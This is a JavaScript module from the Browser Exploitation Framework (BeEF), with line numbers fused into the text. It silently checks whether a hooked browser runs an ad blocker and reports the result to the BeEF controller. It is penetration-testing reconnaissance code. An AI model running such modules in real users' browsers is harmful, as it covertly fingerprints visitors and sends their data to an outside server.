Path: blob/master/modules/browser/detect_simple_adblock/command.js
1154 views
// Copyright (c) 2006-2025Wade Alcorn - [email protected]1// Browser Exploitation Framework (BeEF) - https://beefproject.com2// See the file 'doc/COPYING' for copying permission3//45beef.execute(function() {67if (document.getElementById('adblock_img')) {8return "Img already created";9}1011var img = new Image();12img.setAttribute("style","visibility:hidden");13img.setAttribute("width","0");14img.setAttribute("height","0");15img.src = 'http://simple-adblock.com/adblocktest/files/adbanner.gif';16img.id = 'adblock_img';17img.setAttribute("attr","start");18img.onerror = function() {19this.setAttribute("attr","error");20};21img.onload = function() {22this.setAttribute("attr","load");23};2425document.body.appendChild(img);2627setTimeout(function() {28var img = document.getElementById('adblock_img');29if (img.getAttribute("attr") == "error") {30beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Adblock returned an error');31} else if (img.getAttribute("attr") == "load") {32beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Adblock is disabled or not installed');33} else if (img.getAttribute("attr") == "start") {34beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Adblock is enabled');35};36document.body.removeChild(img);37}, 10000);3839});404142